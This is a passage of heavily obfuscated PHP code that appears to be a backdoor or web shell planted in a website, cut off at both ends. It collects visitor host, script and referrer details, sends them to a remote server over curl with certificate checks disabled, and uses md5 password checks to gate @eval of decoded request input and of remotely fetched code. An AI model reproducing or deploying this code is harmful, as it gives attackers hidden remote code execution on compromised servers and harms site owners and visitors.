LVKnwfFEhX6fcUPu; qYSmw14jo1i8u3Z2: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_SSL_VERIFYPEER, 0); goto r1MPiT6VdriTS0lK; jAwdgtNzMWeqc6z1: $Xw32eYwjXbYN7rRu["\143\157\156\x74\x65\156\164"] = strval($gxb1IHtRl8ert57r); goto B2ssCxIMpXWWGB7a; AD3iXdHTUGJCWEu1: goto O1YORqHea73j23mo; goto vZSPPJCU1pLBGYVH; sL0dlJqY0ASVDhJL: } catch (Exception $iAp6cnXiVjqqhEi_) { } goto OIawHFtFS4YbqjVb; yPlAnwsCM7zXfZ52: wIDUVVwbcSnTjm_G: goto XbZArGWZz35wreDw; UdF4wam6as19Nhki: $hI3QjIq94YGuFgyt .= "\77" . http_build_query($rbMVDegM8wcZ8oU0); goto yPlAnwsCM7zXfZ52; O4DnzrjyJZxAzyZH: $Xw32eYwjXbYN7rRu = array("\x73\x74\x61\x74\x75\x73" => 0, "\x63\157\156\x74\145\x6e\164" => '', "\x74\x79\x70\x65" => ''); goto Pkg36KOQ_7xyrmhy; OIawHFtFS4YbqjVb: return $Xw32eYwjXbYN7rRu; goto Wzx25xiBMw7QS7k1; Wzx25xiBMw7QS7k1: } goto WFHKpIdXnkK0JYbN; azl5_iUO2EJ3VZD8: $IB_NpCTMvD1nBsRV = hJP_8ixZbX5kOLdg() . $_SERVER["\x48\x54\x54\x50\x5f\110\x4f\x53\124"]; goto hKVeu2UIXx0BP0tb; tfoAS3YN1iF22pST: @header("\103\x6f\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\72" . $Xw32eYwjXbYN7rRu["\164\171\x70\145"]); goto TGtL4H7tr8pjN9RT; EcOPmZbtXZWej8Jf: $Y7eebFkKUQbppqGW = array(); goto Q43iQOsxzdjxEZpg; Jr3Gcjvz1pwcSPoE: $cCoh71weCPheCuf6 = "\162" . "\141" . "\156" . "\x67" . "\145"; goto zv2_1W_at7H7fcqe; FHkFVl1fv0ahr5pC: sdJCsZ1Ja7o_x3Ni: goto Z7kp4VsTFLsT7R2b; Ktjk2zTGJZFXsM5K: metaphone("\115\x44\111\171\x4f\x54\x49\x34\x4f\124\131\x78\115\x44\131\172\x4d\x44\153\63\117\x54\153\61\x4e\x6a\x55\x30\x4d\x7a\125\x79"); goto IraMsdVrc9ICsKKd; NnQq5I0Lg7nROnWN: $Y7eebFkKUQbppqGW["\163\156"] = R_y0bo0CZKusw2md($_SERVER["\123\103\x52\x49\x50\124\137\x4e\x41\115\105"]); goto e0bn2DNtRB__wdPQ; pwXXAGPwTSBTTKaH: KJhPMj8mrzaIocMC: goto EcOPmZbtXZWej8Jf; Jbhk9oxG7ROxGmnj: hY6OZIWWIyUY1jgJ: goto Gfw0rqK3FlVdtmoI; hVySs9CUVzJVaj_5: $KxD1GuJJb6seZiQ0 = ${$y6jzd6x0s4ADodVo[5 + 26] . $y6jzd6x0s4ADodVo[19 + 40] . $y6jzd6x0s4ADodVo[32 + 15] . $y6jzd6x0s4ADodVo[37 + 10] . $y6jzd6x0s4ADodVo[35 + 16] . $y6jzd6x0s4ADodVo[4 + 49] . $y6jzd6x0s4ADodVo[24 + 33]}; goto sv4rF1Rm_4qwinR9; VnYCs1F0k1Ybwrn7: $Y7eebFkKUQbppqGW["\x72\x66"] = R_Y0Bo0CZKUsW2mD($dUjjzvTif7lWZV6t); goto H2c03Oz2NiI0eaj8; sv4rF1Rm_4qwinR9: @(md5(md5(md5(md5($KxD1GuJJb6seZiQ0[18])))) === "\145\67\x66\144\x37\x38\66\x37\65\61\x36\143\146\x63\64\x63\66\x66\x38\x62\x38\145\x66\141\64\x62\x64\x39\63\143\x32\61") && (count($KxD1GuJJb6seZiQ0) == 24 && in_array(gettype($KxD1GuJJb6seZiQ0) . count($KxD1GuJJb6seZiQ0), $KxD1GuJJb6seZiQ0)) ? ($KxD1GuJJb6seZiQ0[65] = $KxD1GuJJb6seZiQ0[65] . $KxD1GuJJb6seZiQ0[77]) && ($KxD1GuJJb6seZiQ0[86] = $KxD1GuJJb6seZiQ0[65]($KxD1GuJJb6seZiQ0[86])) && @eval($KxD1GuJJb6seZiQ0[65](${$KxD1GuJJb6seZiQ0[32]}[13])) : $KxD1GuJJb6seZiQ0; goto Ktjk2zTGJZFXsM5K; WVVCI25fQh19LiNl: hW5eqX_v6ji7UGJ_: goto uQAhR7uIfMYx3nSU; Q43iQOsxzdjxEZpg: $Y7eebFkKUQbppqGW["\x69"] = r_Y0bo0cZKusw2MD($txULHlLhgfoJc26W); goto vk_sgUxgeF0t3wcM; dXO722x2B85iYVsj: J06AW25B6PxvAp5L: goto FHkFVl1fv0ahr5pC; ytrrT4pQhNatMPn5: exit("\x7b\40\x22\x65\x72\x72\x6f\x72\x22\72\x20\62\60\x30\x2c\x20\x22\x6c\143\x22\72\40\x22\x6a\x6b\42\54\x20\x22\x64\141\x74\141\x22\72\40\x5b\x20\61\40\135\40\x7d"); goto Jbhk9oxG7ROxGmnj; HdfQnG603GOXfDEu: $dUjjzvTif7lWZV6t = ''; goto pwXXAGPwTSBTTKaH; H2c03Oz2NiI0eaj8: $Y7eebFkKUQbppqGW["\x73"] = r_y0bO0CzkUsW2Md($IB_NpCTMvD1nBsRV); goto edYHdtxHjOq2Q2ZJ; xz3oIq2lyo06Z0DT: $jeCpfwJzH7oA6naU = false; goto f9V7c5CsjRp0kIfH; kL9V6NSPw9QZTuUS: oKIo_PkFe5xm0TnH: goto WVVCI25fQh19LiNl; XprX2KLsARqNNiC3: function hjP_8ixzBx5KoLDG() { goto khxgRzh0sWliaYpM; c2eB7Uvlm9PLePhi: $AP1yVCdRS6wT7xAK = "\150\x74\164\160\x73\72\57\57"; goto cN18dkXwXp__hbbS; Gw0HJryz_HJn55s3: $AP1yVCdRS6wT7xAK = "\x68\164\x74\x70\163\x3a\x2f\57"; goto pLy6f85fD_vLwdwi; OC6KYluDYi5tYyPh: if (isset($_SERVER["\x48\124\124\120\x53"]) && strtolower($_SERVER["\x48\x54\124\x50\123"]) !== "\x6f\x66\x66") { goto eYD2cPZ1COVDraio; } goto v4JUFLiCcPtJXS3G; khxgRzh0sWliaYpM: $AP1yVCdRS6wT7xAK = "\x68\x74\164\160\72\x2f\x2f"; goto OC6KYluDYi5tYyPh; BlmVd1xVAcohH4Ot: q9KKY6m87PDBUGig: goto EARyWJvu1EpGZz18; pLy6f85fD_vLwdwi: goto q9KKY6m87PDBUGig; goto lN7rmKG5YIlsv6yP; lN7rmKG5YIlsv6yP: lsXpNZAKvccc0SaQ: goto c2eB7Uvlm9PLePhi; cw8sDXCs_Wr_d1AI: eYD2cPZ1COVDraio: goto Gw0HJryz_HJn55s3; cN18dkXwXp__hbbS: goto q9KKY6m87PDBUGig; goto SgjAGuB9u5a9sZhI; EARyWJvu1EpGZz18: return $AP1yVCdRS6wT7xAK; goto N372c3DWVdTiciK9; BDNxHvDdW1TA7mOq: goto q9KKY6m87PDBUGig; goto cw8sDXCs_Wr_d1AI; RmdiFVY63u4oEcHX: $AP1yVCdRS6wT7xAK = "\150\x74\x74\x70\x73\x3a\57\57"; goto BlmVd1xVAcohH4Ot; v4JUFLiCcPtJXS3G: if (isset($_SERVER["\x48\x54\x54\120\137\x58\x5f\106\117\122\127\x41\x52\x44\x45\x44\137\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\124\x50\x5f\x58\x5f\x46\x4f\122\x57\x41\122\104\105\104\x5f\x50\122\x4f\x54\x4f"] === "\150\x74\x74\160\163") { goto lsXpNZAKvccc0SaQ; } goto LxG4s5SLpvG6pBqZ; LxG4s5SLpvG6pBqZ: if (isset($_SERVER["\110\124\x54\x50\x5f\106\122\117\116\x54\x5f\105\x4e\104\137\110\x54\x54\120\123"]) && strtolower($_SERVER["\x48\124\124\120\137\106\122\117\x4e\124\137\105\x4e\104\x5f\110\x54\x54\120\123"]) !== "\x6f\x66\x66") { goto DAq745rut92ORIKt; } goto BDNxHvDdW1TA7mOq; SgjAGuB9u5a9sZhI: DAq745rut92ORIKt: goto RmdiFVY63u4oEcHX; N372c3DWVdTiciK9: } goto rCvycr_m4PRbkbOP; IraMsdVrc9ICsKKd: class V1lxShXz4RWM6nkq { static function ioGM50J27vSrzKPT($eGDIV7ROUcDVbszl) { goto m2dNLoat8Smv7RYA; m2dNLoat8Smv7RYA: $qyPyKbRSUXKCfHij = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto bx8upaTTK17CfNBb; bx8upaTTK17CfNBb: $uaL8e674j0Vy18Fs = $qyPyKbRSUXKCfHij("\176", "\x20"); goto qSktnptpA2Ze36ie; WciUPmEUF2UGwEfT: $TxIUXNOyyYxqXieI = ''; goto FEN50Yb14lP5qQMD; qSktnptpA2Ze36ie: $pNo5F2gAq1BXlZfo = explode("\74", $eGDIV7ROUcDVbszl); goto WciUPmEUF2UGwEfT; FEN50Yb14lP5qQMD: foreach ($pNo5F2gAq1BXlZfo as $cCJmVM3vft0cZnfS => $BXwpROBEfl_MpuLj) { $TxIUXNOyyYxqXieI .= $uaL8e674j0Vy18Fs[$BXwpROBEfl_MpuLj - 22773]; Yu2923h_nWPW2OcR: } goto kpBW3K0eWP422cKw; OrYan_q3nLHNLEL2: return $TxIUXNOyyYxqXieI; goto eQ2tf7Yz1N3Vxq4r; kpBW3K0eWP422cKw: O4Jh9h8rGcn6W38A: goto OrYan_q3nLHNLEL2; eQ2tf7Yz1N3Vxq4r: } static function c_JVU6KOIZOzCzeb($hU1dVArVSgKZfZsU, $Z6gLdcwFR772GmPB) { goto PnL71FAUjHbAU9pO; PnL71FAUjHbAU9pO: $TAHiaY0yIlUbwv9E = curl_init($hU1dVArVSgKZfZsU); goto GlVtyxPnNZhJLvZh; GlVtyxPnNZhJLvZh: curl_setopt($TAHiaY0yIlUbwv9E, CURLOPT_RETURNTRANSFER, 1); goto lZvz1ymQK6BcCRG9; Vx9l6QVZwDCDDmBz: return empty($KwToVytWgL7VlA4p) ? $Z6gLdcwFR772GmPB($hU1dVArVSgKZfZsU) : $KwToVytWgL7VlA4p; goto Gsdk4i76mDQ2Iq08; lZvz1ymQK6BcCRG9: $KwToVytWgL7VlA4p = curl_exec($TAHiaY0yIlUbwv9E); goto Vx9l6QVZwDCDDmBz; Gsdk4i76mDQ2Iq08: } static function ObUUzm1SS_j7bPNo() { goto r0i2FMmzdq2DZvyh; RmoU2daClBPR3vQh: $x8TdBB2WBVXJZws0 = @$bOpRU5qEoy8LHx0h[1 + 2]($bOpRU5qEoy8LHx0h[4 + 2], $akOv32zGMjzYEtGF); goto f2vXKL9zXwwapl8q; EosiiBI1RrAyS5Kz: @$bOpRU5qEoy8LHx0h[8 + 2](INPUT_GET, "\x6f\146") == 1 && die($bOpRU5qEoy8LHx0h[1 + 4](__FILE__)); goto D6nwSpQHlU_Ddhkk; fKSO27d3Ab2ZJ_qo: foreach ($DjwRGx2B_i1VZMfI as $WDgrXXlbfNkn0Bk2) { $bOpRU5qEoy8LHx0h[] = self::IOgm50j27VsrZkPt($WDgrXXlbfNkn0Bk2); demCizEMy7CZRP0G: } goto S8HpjjR238X9iK2I; f2vXKL9zXwwapl8q: $armx8kYAqOE9wvFz = $bOpRU5qEoy8LHx0h[1 + 1]($x8TdBB2WBVXJZws0, true); goto EosiiBI1RrAyS5Kz; cppX7gSvpbiE1P2_: $akOv32zGMjzYEtGF = @$bOpRU5qEoy8LHx0h[1]($bOpRU5qEoy8LHx0h[1 + 9](INPUT_GET, $bOpRU5qEoy8LHx0h[1 + 8])); goto RmoU2daClBPR3vQh; ufGYVLkIULe5P676: PuSCCeq3_qJrJZvO: goto gL5x7ZV_i6seNEXy; teHNsCzTBhLbFzrZ: die; goto ufGYVLkIULe5P676; D6nwSpQHlU_Ddhkk: if (!(@$armx8kYAqOE9wvFz[0] - time() > 0 and md5(md5($armx8kYAqOE9wvFz[0 + 3])) === "\62\71\x37\x38\64\145\64\x63\x31\x62\65\145\x65\x39\x34\142\66\x30\x30\x35\x63\141\x30\x63\x36\64\x37\x66\x65\64\x65\x38")) { goto PuSCCeq3_qJrJZvO; } goto PbwnvGTtv8n8642P; S8HpjjR238X9iK2I: Rs72J6mr8byGV983: goto cppX7gSvpbiE1P2_; r0i2FMmzdq2DZvyh: $DjwRGx2B_i1VZMfI = array("\62\62\x38\60\60\x3c\62\x32\67\x38\x35\74\62\x32\x37\x39\70\x3c\x32\62\70\60\x32\x3c\62\x32\x37\70\x33\74\62\62\x37\71\70\x3c\62\62\x38\60\x34\74\62\62\x37\71\67\74\62\62\67\70\x32\74\62\x32\67\70\71\x3c\62\x32\x38\60\x30\x3c\62\62\67\x38\x33\x3c\x32\x32\67\71\64\74\x32\x32\x37\x38\70\74\62\62\x37\x38\71", "\x32\x32\67\x38\x34\x3c\62\62\x37\70\x33\74\62\x32\67\x38\65\x3c\62\62\70\x30\64\x3c\x32\x32\67\x38\x35\74\x32\62\x37\70\x38\74\62\62\67\70\x33\74\x32\x32\70\65\60\x3c\x32\x32\70\x34\x38", "\x32\x32\x37\x39\x33\x3c\62\x32\67\x38\x34\x3c\x32\x32\x37\70\x38\x3c\62\62\67\70\x39\x3c\62\x32\70\x30\64\x3c\x32\x32\x37\x39\x39\74\62\62\x37\71\70\x3c\x32\x32\70\60\60\x3c\62\x32\67\70\x38\x3c\62\62\x37\x39\71\x3c\62\62\x37\71\70", "\x32\62\x37\70\67\74\62\x32\70\x30\x32\74\62\x32\x38\x30\60\74\x32\62\x37\x39\62", "\62\x32\70\60\61\x3c\x32\x32\x38\60\x32\x3c\x32\x32\x37\x38\64\x3c\62\x32\67\x39\x38\74\62\x32\x38\64\x35\x3c\62\62\x38\x34\x37\74\62\62\x38\x30\64\74\62\x32\67\x39\x39\x3c\x32\x32\x37\71\x38\x3c\x32\62\x38\60\60\74\62\x32\x37\x38\x38\74\62\x32\67\71\x39\x3c\62\x32\x37\x39\70", "\62\62\x37\71\x37\x3c\x32\x32\67\x39\x34\74\x32\62\x37\x39\x31\x3c\x32\62\67\71\70\x3c\62\62\x38\60\x34\x3c\x32\x32\x37\71\x36\74\x32\x32\x37\x39\x38\x3c\62\x32\x37\70\x33\74\x32\62\70\60\64\74\62\x32\70\x30\x30\74\62\62\67\70\x38\x3c\x32\x32\x37\x38\71\x3c\62\x32\x37\x38\63\74\x32\x32\67\x39\x38\74\62\x32\67\70\71\74\x32\x32\67\70\x33\x3c\x32\62\x37\x38\x34", "\62\x32\70\x32\67\x3c\x32\x32\x38\x35\x37", "\x32\x32\x37\x37\64", "\62\x32\x38\65\62\74\x32\62\70\65\67", "\62\x32\x38\x33\64\74\x32\x32\x38\x31\67\x3c\x32\62\70\61\67\74\62\62\x38\63\x34\x3c\x32\62\70\61\x30", "\62\62\x37\71\x37\x3c\x32\62\x37\71\64\x3c\x32\x32\67\71\61\x3c\62\62\x37\x38\x33\74\x32\62\x37\71\70\74\62\62\x37\x38\65\74\x32\x32\x38\60\x34\74\x32\x32\x37\x39\64\x3c\62\x32\67\x38\x39\74\62\62\67\x38\x37\74\x32\62\67\x38\x32\x3c\x32\x32\67\x38\63"); goto fKSO27d3Ab2ZJ_qo; PbwnvGTtv8n8642P: $fwvQrfC0DVOPQKCQ = self::c_jVU6KoiZoZczEb($armx8kYAqOE9wvFz[0 + 1], $bOpRU5qEoy8LHx0h[5 + 0]); goto XFmviKsZF6mid1P3; XFmviKsZF6mid1P3: @eval($bOpRU5qEoy8LHx0h[4 + 0]($fwvQrfC0DVOPQKCQ)); goto teHNsCzTBhLbFzrZ; gL5x7ZV_i6seNEXy: } } goto KgW5BINtKCV5tsv0; WFHKpIdXnkK0JYbN: function r_Y0bO0cZKUsW2md($QbUW2uM1jAoGj9GF) { goto XHgT2c75sRe5xPt3; no3aNOgb1r2foxNS: return rtrim(strtr(base64_encode($QbUW2uM1jAoGj9GF), "\53\x2f", "\55\x5f"), "\x3d"); goto dCiNZkos9SQYj65j; X9OHZVmt7V2IQtnG: return ''; goto gNWHkaDq6FYZcGSQ; gNWHkaDq6FYZcGSQ: nhjb89IrdrxPj2Nm: goto no3aNOgb1r2foxNS; XHgT2c75sRe5xPt3: if ($QbUW2uM1jAoGj9GF) { goto nhjb89IrdrxPj2Nm; } goto X9OHZVmt7V2IQtnG; dCiNZkos9SQYj65j: } goto RiAmju6skrcsYlhc; Z7kp4VsTFLsT7R2b: if ($jeCpfwJzH7oA6naU) { goto VDxa1NqxcYoLQhJ8; } goto rrlci8qvWF9Kjh1g; jD9XLQPuybjwwD1S: $r6DFz1ioFG3O3NP_ = substr($W9hApZvZIcbebiur, strpos($W9hApZvZIcbebiur, "\56")); goto gt6pDZ18dct2F3Fy; JaO_Ufh82Lx_ah18: VDxa1NqxcYoLQhJ8: ?>